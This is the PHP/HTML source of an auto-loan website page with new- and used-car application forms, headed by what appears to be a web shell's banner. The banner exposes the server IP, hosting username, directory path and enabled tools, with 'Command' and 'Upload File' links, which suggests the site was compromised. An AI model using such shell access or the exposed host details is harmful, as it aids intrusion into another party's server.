|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/loansuvidha/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="zxx">
<?php require "inc/head.php"; ?>
<body>
<?php require "inc/header.php"; ?>
<!--====== End Header ======-->
<!--====== Start Breadcrumb Section ======-->
<section class="page-banner overlay pt-165 pb-170 bg_cover" style="background-image: url(assets/images/bg/page-bg.jpg);">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-10">
<!--=== Page Banner Content ===-->
<div class="page-banner-content text-center text-white">
<h1 class="page-title">Auto Loan</h1>
<ul class="breadcrumb-link text-white">
<li><a href="index.php">Home</a></li>
<li class="active">Auto Loan</li>
</ul>
</div>
</div>
</div>
</div>
</section>
<!--====== End Breadcrumb Section ======-->
<!--====== Start Contact Form Section ======-->
<section class="contact-form-section gray-bg pt-175 pb-100">
<div class="container">
<div class="row align-items-center">
<div class="col-xl-12 order-2 order-xl-1">
<!--=== Contact Form Area ===-->
<div class="contact-form-area mb-50 p-r z-1 wow fadeInLeft">
<div class="contact-nav-tab mb-45">
<ul class="nav nav-tabs">
<li class="nav-item">
<button class="nav-link active" id="home-tab" data-bs-toggle="tab" data-bs-target="#cat1"><i class="far fa-car"></i>NEW CAR</button>
</li>
<li class="nav-item">
<button class="nav-link" id="profile-tab" data-bs-toggle="tab" data-bs-target="#cat2"><i class="far fa-car"></i>USED CAR</button>
</li>
</ul>
</div>
<!-- Tab panes -->
<div class="tab-content">
<div class="tab-pane active show fade" id="cat1">
<form class="contact-form">
<div class="row">
<div class="form_group col-md-6">
<label>Menufecture Year</label>
<input type="text" class="form_control" placeholder="Menufectured Year" name="year" required>
</div>
<div class="form_group col-md-6">
<label>Car Model</label>
<select id="model" class="wide">
<option value="">Select a Model</option>
<option value="toyota">Innova</option>
<option value="ford">Corola</option>
<option value="bmw">Fortuner</option>
</select>
</div>
</div>
<div class="row">
<div class="form_group col-md-6">
<label>Car Variants</label>
<select id="variant" class="wide">
<option value="">Select a Variant</option>
<option value="XLE">XLE</option>
<option value="SE">SE</option>
<option value="XSE">XSE</option>
</select>
</div>
<div class="form_group col-md-6">
<label>Feul Type</label>
<select id="model" class="wide">
<option value="">Select</option>
<option value="Petrol">Petrol</option>
<option value="Deseal">Deseal</option>
<option value="Cng">Cng</option>
<option value="Electric">Electric</option>
</select>
</div>
<!-- State Dropdown -->
<!-- <div class="form_group col-md-6">
<label>State</label>
<select id="state" class="wide">
<option value="">Select a State</option>
<option value="">Select a State</option>
<option value="andhra-pradesh">Andhra Pradesh</option>
<option value="arunachal-pradesh">Arunachal Pradesh</option>
<option value="assam">Assam</option>
<option value="bihar">Bihar</option>
<option value="chhattisgarh">Chhattisgarh</option>
<option value="goa">Goa</option>
<option value="gujarat">Gujarat</option>
<option value="haryana">Haryana</option>
<option value="himachal-pradesh">Himachal Pradesh</option>
<option value="jharkhand">Jharkhand</option>
<option value="karnataka">Karnataka</option>
<option value="kerala">Kerala</option>
<option value="madhya-pradesh">Madhya Pradesh</option>
<option value="maharashtra">Maharashtra</option>
<option value="manipur">Manipur</option>
<option value="meghalaya">Meghalaya</option>
<option value="mizoram">Mizoram</option>
<option value="nagaland">Nagaland</option>
<option value="odisha">Odisha</option>
<option value="punjab">Punjab</option>
<option value="rajasthan">Rajasthan</option>
<option value="sikkim">Sikkim</option>
<option value="tamil-nadu">Tamil Nadu</option>
<option value="telangana">Telangana</option>
<option value="tripura">Tripura</option>
<option value="uttar-pradesh">Uttar Pradesh</option>
<option value="uttarakhand">Uttarakhand</option>
<option value="west-bengal">West Bengal</option>
</select>
</div> -->
<div class="form_group col-md-6">
<label>Driven Mode</label>
<select id="model" class="wide">
<option value="">Select</option>
<option value="Autometic">Autometic</option>
<option value="Menual">Menual</option>
<!-- <option value="Cng">Cng</option>
<option value="Electric">Electric</option> -->
</select>
</div>
<div class="form-group">
<label class="control-label" for="CurrentLocation"><i class="fa fa-home btn-circle-icon"></i> Where do you live ?</label>
<div class="col-sm-12">
<div class="col-sm-3 hide">
</div>
<div class="col-sm-12 mb-5">
<div class="btn-group" data-toggle="buttons">
<label class="btn btn-default">
<input name="current_location_c" value="1" type="radio" style="display:none">
Mumbai </label>
<label class="btn btn-default">
<input name="current_location_c" value="4" type="radio" style="display:none">
Delhi </label>
<label class="btn btn-default">
<input name="current_location_c" value="9" type="radio" style="display:none">
Gurgaon </label>
<label class="btn btn-default">
<input name="current_location_c" value="10" type="radio" style="display:none">
Noida </label>
<label class="btn btn-default">
<input name="current_location_c" value="5" type="radio" style="display:none">
Chennai </label>
<label class="btn btn-default">
<input name="current_location_c" value="6" type="radio" style="display:none">
Bengaluru </label>
<label class="btn btn-default">
<input name="current_location_c" value="7" type="radio" style="display:none">
Hyderabad </label>
<label class="btn btn-default">
<input name="current_location_c" value="8" type="radio" style="display:none">
Pune </label>
<label class="btn btn-default">
<input name="current_location_c" value="11" type="radio" style="display:none">
Kolkata </label>
<label class="btn btn-default">
<input name="current_location_c" value="24" type="radio" style="display:none">
Jaipur </label>
<label class="btn btn-default">
<input name="current_location_c" value="61" type="radio" style="display:none">
Others </label>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="form_group col-md-6">
<button class="main-btn primary-btn">Apply Now<i class="far fa-arrow-right"></i></button>
</div>
</div>
</form>
</div>
<!-- USED CAR Form -->
<div class="tab-pane fade" id="cat2">
<form class="contact-form">
<div class="row">
<div class="form_group col-md-6">
<label>Menufecture Year</label>
<input type="text" class="form_control" placeholder="Menufectured Year" name="year" required>
</div>
<div class="form_group col-md-6">
<label>Car Model</label>
<select id="model" class="wide">
<option value="">Select a Model</option>
<option value="toyota">Innova</option>
<option value="ford">Corola</option>
<option value="bmw">Fortuner</option>
</select>
</div>
</div>
<div class="row">
<div class="form_group col-md-6">
<label>Car Variants</label>
<select id="variant" class="wide">
<option value="">Select a Variant</option>
<option value="XLE">XLE</option>
<option value="SE">SE</option>
<option value="XSE">XSE</option>
</select>
</div>
<div class="form_group col-md-6">
<label>Feul Type</label>
<select id="model" class="wide">
<option value="">Select</option>
<option value="Petrol">Petrol</option>
<option value="Deseal">Deseal</option>
<option value="Cng">Cng</option>
<option value="Electric">Electric</option>
</select>
</div>
<div class="form_group col-md-6">
<label>Kilometer Driven</label>
<input type="text" class="form_control" placeholder="Kilometer Driven" name="year" required>
</div>
<div class="form_group col-md-6">
<label> Chassis Number</label>
<input type="text" class="form_control" placeholder=" Chassis Number" name="chassis" required>
</div>
<p class="loan_title">Requirement *</p>
<div class="loan_field">
<div class="row mb-4">
<ul>
<li><label><input name="requirement_type" type="radio" value="Want to sell your car" > Want to sell your car</label></li>
<li><label><input name="requirement_type" type="radio" value="Want Loan on your Car" > Want Loan on your Car</label></li>
<li><label><input name="requirement_type" type="radio" value="None of them" > None of them</label></li>
</ul>
</div>
</div>
<!-- <div class="col-xs-4 p5"><label><input name="requirement_type" type="radio" value="Want to sell your car" > Want to sell your car</label></div> -->
<!-- <div class="col-xs-4 p5"><label><input name="requirement_type" type="radio" value="Want Loan on your Car" > Want Loan on your Car</label></div> -->
<!-- <div class="col-xs-4 p5"><label><input name="requirement_type" type="radio" value="None of them" > None of them</label></div> -->
<!-- State Dropdown -->
<div class="form-group">
<label class="control-label" for="CurrentLocation"><i class="fa fa-home btn-circle-icon"></i> Where do you live ?</label>
<div class="col-sm-12">
<div class="col-sm-3 hide">
</div>
<div class="col-sm-12 mb-5">
<div class="btn-group" data-toggle="buttons">
<label class="btn btn-default">
<input name="current_location_c" value="1" type="radio" style="display:none">
Mumbai </label>
<label class="btn btn-default">
<input name="current_location_c" value="4" type="radio" style="display:none">
Delhi </label>
<label class="btn btn-default">
<input name="current_location_c" value="9" type="radio" style="display:none">
Gurgaon </label>
<label class="btn btn-default">
<input name="current_location_c" value="10" type="radio" style="display:none">
Noida </label>
<label class="btn btn-default">
<input name="current_location_c" value="5" type="radio" style="display:none">
Chennai </label>
<label class="btn btn-default">
<input name="current_location_c" value="6" type="radio" style="display:none">
Bengaluru </label>
<label class="btn btn-default">
<input name="current_location_c" value="7" type="radio" style="display:none">
Hyderabad </label>
<label class="btn btn-default">
<input name="current_location_c" value="8" type="radio" style="display:none">
Pune </label>
<label class="btn btn-default">
<input name="current_location_c" value="11" type="radio" style="display:none">
Kolkata </label>
<label class="btn btn-default">
<input name="current_location_c" value="24" type="radio" style="display:none">
Jaipur </label>
<label class="btn btn-default">
<input name="current_location_c" value="61" type="radio" style="display:none">
Others </label>
</div>
</div>
</div>
</div>
<!-- <p class="loan_title">Is there any existing loan running?</p>
<div class="loan_field">
<div class="col-xs-5 p5"><label><input name="exist_loan_running" type="radio" value="Yes" onclick="showothercity(this.value);" > Yes</label></div>
<div class="col-xs-7 p5"><label><input name="exist_loan_running" type="radio" value="No" onclick="showothercity(this.value);" > No</label></div>
<p class="mt5 dn form_box1" id="show_city"><input type="text" name="financed_company" id="financed_company" value="" placeholder="Enter the name of financed Company"></p>
</div> -->
<p class="loan_title">Is there any existing loan running?</p>
<div class="loan_field">
<div class="col-xs-5 p5">
<label>
<input name="exist_loan_running" type="radio" value="Yes" onclick="showOtherCity(this.value);"> Yes
</label>
</div>
<div class="form_group col-md-12 p5">
<label>
<input name="exist_loan_running" type="radio" value="No" onclick="showOtherCity(this.value);"> No
</label>
</div>
<div class="form_group col-md-4" id="show_city">
<!-- <p class="col-xs-7 mt5 dn form_box1" > -->
<input type="text" name="financed_company" id="financed_company" value="" placeholder="Enter the name of financed Company" style="width: 100%;">
</div>
<!-- </p> -->
<div class="form_group col-md-6 mt-5">
<label>Name</label>
<input type="text" class="form_control" placeholder="Name" name="name" required>
</div>
<div class="form_group col-md-6">
<label> Email Id</label>
<input type="text" class="form_control" placeholder="Esmail" name="email" required>
</div>
<div class="form_group col-md-6">
<label>Mobile No.*</label>
<input type="text" class="form_control" placeholder="Mobile" name="mobile" required>
</div>
<div class="form_group col-md-6">
<label>Address</label>
<input type="text" class="form_control" placeholder="Address" name="address" required>
</div>
</div>
<style>
.dn {
display: none; /* Class to hide elements */
}
</style>
<script>
function showOtherCity(value) {
const cityField = document.getElementById('show_city');
if (value === 'Yes') {
cityField.classList.remove('dn'); // Show the field
} else {
cityField.classList.add('dn'); // Hide the field
}
}
</script>
</div>
<div class="row">
<div class="form_group col-md-6">
<button class="main-btn primary-btn">Apply Now<i class="far fa-arrow-right"></i></button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<script>
// Get all the radio button labels
const labels = document.querySelectorAll('.btn-group .btn');
// Loop through each label
labels.forEach(label => {
// Add a click event listener to each label
label.addEventListener('click', function() {
// Remove the 'active' class from all labels
labels.forEach(btn => btn.classList.remove('active'));
// Add the 'active' class to the clicked label
this.classList.add('active');
});
});
</script>
<style>
/* Styling the active button with brown background */
.btn-group .btn.active {
background-color: brown;
color: white; /* Optional: Change the text color for contrast */
border-color: brown; /* Optional: Change border color */
}
/* Optional: Styling the default button */
.btn-group .btn {
border: 1px solid #ddd;
padding: 10px 20px;
transition: background-color 0.3s ease; /* Smooth transition */
}
</style>
<style>
/* input, textarea {
display: inherit;
display: none;
} */
.authorize-list li{
list-style-type:decimal;
}
.footer-copyright p a{
color:#03a9f4;
}
.more,.more1{
font-family: inherit;
}
a.morelink, a.morelink1 {
text-decoration:none;
outline: none;
}
a.morelink1{
color:#800000;
}
.more1 a{
color:#ffa500;
}
.morecontent span {
display: none;
}
.comment {
width: 100%;
margin: 10px;
}
.top-img{
height: 60px;
width: 134px;
padding: 5px 0px;
background: linear-gradient(100deg, #19618c, #1ba1e2c9);
text-align: center;
/* background: repeating-linear-gradient(26deg, #1e78ae, #ffffff00 100px); */
color: #fff;
font-weight: bold;
font-size: 16px;
}
.top-img:hover{
background-color:#296da7;
color:#fff;
}
.our-partner-logo {
margin: 6px 6px;
box-shadow: -1px 3px 6px 0px #616161eb;
border:none;
}
.home-info{
margin: 0px 75px;
}
.has-error .help-block{
color:#FFC107 !important;
}
.logo{
margin:12px 0px 0px 0px !important;
}
.logo img {
height: 50px !important;
max-width: 100%;
}
p.logo-cap {
text-transform: capitalize;
font-size: 30px !important;
font-weight: 700 !important;
color: #F44336 !important;
padding: 25px 20px 20px 0px;
}
.logo-domain{
color: #1ba1e2 !important;
}
.dropdown:hover .dropdown-menu {
display: block;
}
html, body {
max-width: 100%;
overflow-x: hidden;
}
#frm_credit_sheet .rect{
min-width: 195px !important;
max-width: 209px !important;
background: #ffffff;
border: 3px solid #dcdcdc;
border-radius: 55px !important;
-moz-border-radius: 55px;
-webkit-border-radius: 55px;
color: #100f0f;
cursor: pointer;
display: table-cell;
height: 80px;
transition: background-color 0.2s ease 0s, border-color 0.2s ease 0s, color 0.2s ease 0s;
vertical-align: middle;
box-shadow: 3px 3px 6px -1px #ccc;
-ms-box-shadow: 3px 3px 6px -1px #ccc;
padding-top: 25px;
background: #fff;
border: 3px solid #e8e8e8;
box-shadow: 1px 1px 6px rgba(0,0,0,1.2);
}
#frm_credit_sheet .form-group {
margin-bottom: 73px !important;
}
.btn.btn-default:hover {
border: 1px solid #32C8DE;
color: #FFF;
background: #32C8DE;
}
.btn.btn-default:select {
border: 1px solid #32C8DE;
color: #FFF;
background: #32C8DE;
}
#frm_credit_sheet div[data-toggle="buttons"] label:active, #frm_credit_sheet div[data-toggle="buttons"] label.active {
background: #800000;
color:#FFF;
}
.input-group-addon{
color: #FFF;
border: 0;
font-size: 20px;
background: #296da7;
}
#frm_credit_sheet select{
border-color: #FBFBFB !important;
box-shadow: 1px 1px 1px #DAD9D9 !important;
}
.selected_prefernce_div{
color: #969393;
padding: 3px 5px;
border-radius: 3px;
}
.blue-background{
background:#3786FE;
}
.year-text{
font-size: 11px;
font-weight: bold;
color: blue;
}
.select-drop-icon{
-webkit-appearance: none;
-moz-appearance: none;
background-image: url('.../d2xkxm0e9d3y16.cloudfront.net/static/motor_product/img/down-arrow66c4.png?ad47746035e3');
background-repeat: no-repeat;
background-position: right 15px center;
background-size: 15px 9px;
white-space: nowrap;
text-overflow: ellipsis;
overflow: hidden;
font-size: 15px;
}
#frm_credit_sheet .label-heading{
color:#800000;
}
#frm_credit_sheet .control-label{
color:#fff;
font-size: 15px;
padding-left: 32px;
font-weight: bold;
margin-top: 11px;
}
#frm_credit_sheet .text-left{
text-align:left;
}
#frm_credit_sheet input {
font-size:13px;
}
.border-bottom{
border-bottom: 1px solid #e2e2e2;
margin-bottom: 8px;
}
.btn.btn-default {
border-radius: 8px !important;
height: 51px;
padding: 35px 0px;
margin: 7px 23px 10px;
border-radius: 100% !important;
height: 93px;
width: 93px;
cursor: pointer;
vertical-align: middle;
display: inline-block;
background: #FFF;
border: 3px solid #d2d2d2;
background: #FFF;
border: 3px solid #e8e8e8;
box-shadow: 1px 1px 6px rgba(0,0,0,1.2);
}
/* Auto suggestion */
.input-group .form-control{
width: none;
}
.bs-example{
font-family: sans-serif;
position: relative;
margin: 100px;
}
.typeahead, .tt-query, .tt-hint {
font-size: 24px;
border-radius: 8px;
width: 100%;
}
.typeahead {
background-color: #FFFFFF;
}
.tt-query {
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075) inset;
}
.tt-hint {
color: #999999;
}
.tt-dropdown-menu {
background-color: #FFFFFF;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 8px;
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
margin-top: 38px;
padding: 8px 0;
width: 422px;
overflow-y: auto;
min-height: 50px;
max-height: 300px;
}
.tt-suggestion {
font-size: 24px;
line-height: 24px;
padding: 3px 20px;
}
.tt-suggestion.tt-is-under-cursor {
background-color: #0097CF;
color: #FFFFFF;
}
.tt-suggestion p {
margin: 0;
}
/* --------- Steps CSS ----------- */
.stepwizard-step p {
margin-top: 10px;
display:none;
}
.stepwizard-row {
display: table-row;
}
.stepwizard{
display: table;
width: 100%;
position: relative;
margin-bottom: 32px;
margin-top: 20px;
margin-left: 36px;
}
.stepwizard-step button[disabled] {
opacity: 1 !important;
filter: alpha(opacity=100) !important;
}
.stepwizard-row:before {
top: 31px;
bottom: 0;
position: absolute;
content: " ";
width: 66%;
z-order: 0;
left: 14%;
border: 2px dotted #ccc;
border-bottom: 0;
border-right: 0;
border-left: 0;
}
.stepwizard-step {
display: table-cell;
text-align: center;
position: relative;
}
.btn-circle {
width: 130px;
height: 50px;
font-size: 12px;
border-radius: 9px;
text-align: center;
font-weight: bold;
background: #EEEEEE;
}
.btn-primary-blue{
background:#00A2E8 !important;
}
.fa-check-circle{
font-size: 41px;
}
.small-head{
color: #d0cece;
font-size: 13px;
padding-left: 10px;
}
.btn-circle-icon{
/* color: yellow; */
font-size: 23px;
width: 30px;
margin-left:-20px;
}
.btn-circle-icon:before {
margin-top: 19px;
margin-left: 6px;
margin-top: 8px;
display: inline-block;
}
.check-icon{
color: #0BA3E0;
font-weight: bold;
font-size: 19px;
}
.panel-body .active{
line-height: 34px;
color: #0BA3E0;
font-size: 13px;
}
.question-mark{
color: #fff;
font-size: 24px;
padding-left: 6px;
}
.active-tab{
background:#296da7;
position: absolute;
}
.clear{
clear:both;
}
/*** custom checkboxes ***/
.check_label_size{
font-size: 18px;
font-weight: normal;
margin: 0;
margin-right: 4px;
float: left;
}
input[type=checkbox] { display:none; } /* to hide the checkbox itself */
input[type=checkbox] + label:before {
font-family: FontAwesome;
display: inline-block;
}
input[type=checkbox] + label:before { content: "\f096"; } /* unchecked icon */
input[type=checkbox]:checked + label:before { content: "\f046";color: #FF8282; } /* checked icon */
table {
border-collapse: collapse;
}
th,
td {
border: 1px solid #c6c7cc;
padding: 10px 15px;
}
th {
font-weight: bold;
}
/** Web view **/
@media only screen and (min-width: 769px) and (max-width: 1281px) {
.web_view{
width: 100% !important;
margin-left: 3px;
}
.mgb{
margin-top: 0px;
}
.or{
margin-right: -14px;margin-top: 8px;display: inline-block;float: right;color:#fff;
}
}
@media only screen and (min-width: 768px) and (max-width: 959px) {
.web_view{
width: 122%;margin-left: -39px;
}
.or{
margin-right: -14px;margin-top: 8px;display: inline-block;float: right;color:#fff;
}
}
/** Mobile view **/
@media only screen and (min-width: 480px) and (max-width: 767px) {
.web_view{
width: 122%;margin-left: -39px;
}
.mgb{
margin-top: -18px;
}
#frm_credit_sheet .form-group {
margin-bottom: 20px !important;
}
.or{
margin-right: 249px;margin-top: 8px;display: inline-block;float: right;color:#fff;
}
.btn.btn-default {
border-radius: 8px !important;
height: 51px;
padding: 30px 0px;
margin: 7px 10px 10px;
border-radius: 100% !important;
height: 84px;
width: 82px;
cursor: pointer;
vertical-align: middle;
display: inline-block;
background: #FFF;
border: 3px solid #d2d2d2;
background: #FFF;
border: 3px solid #e8e8e8;
box-shadow: 1px 1px 6px rgba(0,0,0,1.2);
}
}
@media only screen and (min-width: 0px) and (max-width: 479px) {
.web_view{
width: 145%;
margin-top: 50px;
margin-left: -71px;
}
.mgb{
margin-top: -18px;
}
#frm_credit_sheet .form-group {
margin-bottom: 20px !important;
}
.btn.btn-default {
border-radius: 8px !important;
height: 51px;
padding: 30px 0px;
margin: 7px 10px 10px;
border-radius: 100% !important;
height: 84px;
width: 82px;
cursor: pointer;
vertical-align: middle;
display: inline-block;
background: #FFF;
border: 3px solid #d2d2d2;
background: #FFF;
border: 3px solid #e8e8e8;
box-shadow: 1px 1px 6px rgba(0,0,0,1.2);
}
.or{
margin-right: 249px;margin-top: 8px;display: inline-block;float: right;color:#fff;
}
}
.news-item {
padding: 8px 9px;
margin: 0px;
margin-bottom: 21px;
/* border-bottom: 1px dotted #555; */
font-size: 13px;
list-style: none;
text-align: center;
border: 1px solid #e2e2e2;
border-radius: 3px;
background: #fdfdfd;
}
.custom-combobox {
position: relative;
display: inline-block;
}
.custom-combobox-toggle {
position: absolute;
top: 0;
bottom: 0;
margin-left: -1px;
padding: 0;
}
.custom-combobox-input {
margin: 0;
padding: 5px 10px;
}
.ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br
{
border-bottom-right-radius: 3px;
padding: 14px !important;
}
.general-content {
background: #fff;
border: 1px solid #eee;
border-radius: 5px;
overflow: hidden;
}
.tab-content {
padding: 15px;
}
.popup-contact{
position: fixed;
transition: all 0.3s ease-in-out 0s;
width:300px;
min-height:190px;
max-height:290px;
cursor: pointer;
z-index:9001;
}
#sideCallback{
right: -265px;
/*right: -42px;*/
bottom: 95px;
}
.contact-head
{
width: 40px;
height:100px;
background:#32c8de;
border-top-left-radius: 10px;
border-bottom-left-radius: 10px;
}
.contact-head div{
color:#fff;
-ms-transform: rotate(270deg);
-moz-transform: rotate(270deg);
-webkit-transform: rotate(270deg);
-o-transform: rotate(270deg);
font-weight: bold;
font-size: 20px;
position: absolute;
top: 35px;
left: -9px;
}
.contact-info{
width: 240px;
min-height:190px;
max-height:290px;
background: #EEEEEE;
}
.left{
float:left;
}
.help-block{
color:red;
}
.side-input{
height: 24px;
font-size: 12px;
}
.side-select{
height: 24px;
font-size: 12px;
width: 169px;
}
.side-button{
background: #32c8de;
padding: 2px 7px;
margin-left: 54px;
margin-bottom: 4px;
}
.form-group{
margin-bottom: 11px;
}
#livechat{
right: -42px;
bottom: 95px;
}
.livechat-div{
position: fixed;
transition: all 0.3s ease-in-out 0s;
width:300px;
min-height:190px;
max-height:290px;
cursor: pointer;
z-index:9001;
display:none;
}
.or{
margin-left:30px !important;
}
body{
max-width: 100% !important;
overflow-x: hidden !important;
}
#about-us{
background-color:#fff;
}
.more{
font-family: inherit;
}
a.morelink {
text-decoration:none;
outline: none;
}
.morecontent span {
display: none;
}
.comment {
width: 100%;
margin: 10px;
}
.btn-group, .btn-group-vertical {
position: relative;
display: inline-block;
vertical-align: middle;
}
</style>
<!-- CSS for styling the form -->
<style>
/* General form adjustments */
.contact-form-section {
font-size: 14px; /* Smaller font size */
}
.form_group label {
font-size: 13px; /* Smaller label font */
margin-bottom: 5px;
}
.form_group select,
.form_group input {
padding: 8px 10px; /* Reduced padding */
font-size: 13px; /* Smaller input font */
border: 1px solid #ddd; /* Light border */
border-radius: 4px;
}
.form_group {
margin-bottom: 15px; /* Reduced margin between form groups */
}
button.main-btn {
padding: 10px 20px; /* Reduced button padding */
font-size: 13px; /* Smaller button text */
background-color: #007bff; /* Attractive blue color */
color: #fff;
border: none;
border-radius: 4px;
transition: background-color 0.3s ease;
}
button.main-btn:hover {
background-color: #0056b3; /* Darker on hover */
}
.nav-tabs .nav-item .nav-link {
font-size: 13px; /* Smaller tab font */
padding: 8px 15px; /* Reduced padding */
}
.container {
padding-top: 50px;
}
/* Media Query for Mobile Devices */
@media only screen and (max-width: 768px) {
.form_group {
margin-bottom: 10px; /* Further reduced margin on mobile */
}
button.main-btn {
padding: 8px 16px; /* Smaller button on mobile */
}
}
</style>
<!-- <section class="contact-form-section gray-bg pt-175 pb-100">
<div class="container">
<div class="row align-items-center">
<div class="col-xl-12 order-2 order-xl-1">
<div class="contact-form-area mb-50 p-r z-1 wow fadeInLeft">
<div class="contact-nav-tab mb-45">
<ul class="nav nav-tabs">
<li class="nav-item">
<button class="nav-link active" id="home-tab" data-bs-toggle="tab" data-bs-target="#cat1"><i class="far fa-car"></i>NEW CAR</button>
</li>
<li class="nav-item">
<button class="nav-link" id="profile-tab" data-bs-toggle="tab" data-bs-target="#cat2"><i class="far fa-car"></i>USED CAR</button>
</li>
</ul>
</div>
<div class="tab-content">
<div class="tab-pane active show fade" id="cat1">
<form class="contact-form">
<div class="form_group">
<label>Make</label>
<select id="make" class="wide">
<option value="">Select a Make</option>
<option value="toyota">Toyota</option>
<option value="ford">Ford</option>
<option value="bmw">BMW</option>
</select>
</div>
<div class="form_group">
<label>Car Model</label>
<select id="model" class="wide">
<option value="">Select a Model</option>
<option value="toyota">Innova</option>
<option value="ford">Corola</option>
<option value="bmw">Fortuner</option>
</select>
</div>
<div class="form_group">
<label>Car Variants</label>
<select id="variant" class="wide">
<option value="">Select a Variant</option>
<option value="XLE">XLE</option>
<option value="SE">SE</option>
<option value="XSE">XSE</option>
</select>
</div>
<div class="form_group">
<label>State</label>
<select id="state" class="wide">
<option value="">Select a State</option>
<option value="andhra-pradesh">Andhra Pradesh</option>
<option value="arunachal-pradesh">Arunachal Pradesh</option>
<option value="assam">Assam</option>
<option value="bihar">Bihar</option>
<option value="chhattisgarh">Chhattisgarh</option>
<option value="goa">Goa</option>
<option value="gujarat">Gujarat</option>
<option value="haryana">Haryana</option>
<option value="himachal-pradesh">Himachal Pradesh</option>
<option value="jharkhand">Jharkhand</option>
<option value="karnataka">Karnataka</option>
<option value="kerala">Kerala</option>
<option value="madhya-pradesh">Madhya Pradesh</option>
<option value="maharashtra">Maharashtra</option>
<option value="manipur">Manipur</option>
<option value="meghalaya">Meghalaya</option>
<option value="mizoram">Mizoram</option>
<option value="nagaland">Nagaland</option>
<option value="odisha">Odisha</option>
<option value="punjab">Punjab</option>
<option value="rajasthan">Rajasthan</option>
<option value="sikkim">Sikkim</option>
<option value="tamil-nadu">Tamil Nadu</option>
<option value="telangana">Telangana</option>
<option value="tripura">Tripura</option>
<option value="uttar-pradesh">Uttar Pradesh</option>
<option value="uttarakhand">Uttarakhand</option>
<option value="west-bengal">West Bengal</option>
</select>
</div>
<div class="form_group col-md-4">
<button class="main-btn primary-btn">Apply Now<i class="far fa-arrow-right"></i></button>
</div>
</form>
</div>
<div class="tab-pane fade" id="cat2">
<form class="contact-form">
<div class="form_group">
<label>Make</label>
<select id="make" class="wide">
<option value="">Select a Make</option>
<option value="toyota">Toyota</option>
<option value="ford">Ford</option>
<option value="bmw">BMW</option>
</select>
</div>
<div class="form_group">
<label>Car Model</label>
<select id="model" class="wide">
<option value="">Select a Model</option>
<option value="toyota">Innova</option>
<option value="ford">Corola</option>
<option value="bmw">Fortuner</option>
</select>
</div>
<div class="form_group">
<label>Car Variants</label>
<select id="variant" class="wide">
<option value="">Select a Variant</option>
<option value="XLE">XLE</option>
<option value="SE">SE</option>
<option value="XSE">XSE</option>
</select>
</div>
<div class="form_group">
<label>State</label>
<select id="state" class="wide">
<option value="">Select a State</option>
<option value="andhra-pradesh">Andhra Pradesh</option>
<option value="arunachal-pradesh">Arunachal Pradesh</option>
<option value="assam">Assam</option>
<option value="bihar">Bihar</option>
<option value="chhattisgarh">Chhattisgarh</option>
<option value="goa">Goa</option>
<option value="gujarat">Gujarat</option>
<option value="haryana">Haryana</option>
<option value="himachal-pradesh">Himachal Pradesh</option>
<option value="jharkhand">Jharkhand</option>
<option value="karnataka">Karnataka</option>
<option value="kerala">Kerala</option>
<option value="madhya-pradesh">Madhya Pradesh</option>
<option value="maharashtra">Maharashtra</option>
<option value="manipur">Manipur</option>
<option value="meghalaya">Meghalaya</option>
<option value="mizoram">Mizoram</option>
<option value="nagaland">Nagaland</option>
<option value="odisha">Odisha</option>
<option value="punjab">Punjab</option>
<option value="rajasthan">Rajasthan</option>
<option value="sikkim">Sikkim</option>
<option value="tamil-nadu">Tamil Nadu</option>
<option value="telangana">Telangana</option>
<option value="tripura">Tripura</option>
<option value="uttar-pradesh">Uttar Pradesh</option>
<option value="uttarakhand">Uttarakhand</option>
<option value="west-bengal">West Bengal</option>
</select>
</div>
<div class="form_group">
<label>Owner Serial Number *</label>
<select id="state" class="wide">
<option value="">Owner Serial Number</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
</select>
</div>
<div class="form_group">
<label>YEAR OF MANUFACTURED *</label>
<input type="text" class="form_control" placeholder="YEAR OF MANUFACTURED *" name="yom" required>
</div>
<div class="form_group">
<label>Kilometers Driven *</label>
<input type="text" class="form_control" placeholder="Kilometers Driven" name="driven" required>
</div>
<p class="loan_title">Requirement *</p>
<div class="loan_field">
<div class="row">
<div class="col-xs-4 p5"><label><input name="requirement_type" type="radio" style="display:none" value="Want to sell your car" > Want to sell your car</label></div>
<div class="col-xs-4 p5"><label><input name="requirement_type" type="radio" style="display:none" value="Want Loan on your Car" > Want Loan on your Car</label></div>
<div class="col-xs-4 p5"><label><input name="requirement_type" type="radio" style="display:none" value="None of them" > None of them</label></div>
</div>
</div>
<h4>Financed From Company</h4>
<p class="loan_title">Is there any existing loan running?</p>
<div class="loan_field">
<div class="col-xs-5 p5">
<label>
<input name="exist_loan_running" type="radio" style="display:none" value="Yes" onclick="toggleFinancedCompanyField(this.value);"> Yes
</label>
</div>
<div class="col-xs-7 p5">
<label>
<input name="exist_loan_running" type="radio" style="display:none" value="No" onclick="toggleFinancedCompanyField(this.value);"> No
</label>
</div>
</div>
<br>
<div class="form_group">
<label>Name</label>
<input type="text" class="form_control" placeholder="Jeremy C. Jefferson" name="name" required>
</div>
<div class="form_group">
<label>Email Address</label>
<input type="email" class="form_control" placeholder="support@gmail.com" name="email" required>
</div>
<div class="form_group">
<label>Phone No</label>
<input type="text" class="form_control" placeholder="+000 (123) 456 887" name="phone" required>
</div>
<div class="form_group">
<label>Address</label>
<input type="text" class="form_control" placeholder="Address" name="address" required>
</div>
<div class="loan_field"><label><input name="terms" id="terms" type="checkbox" value="Y" checked="checked" > I accept the <span class="red"><a href="https://www.capitalneed.com/terms-conditions" target="_blank">Terms of Service</a></span></label></div>
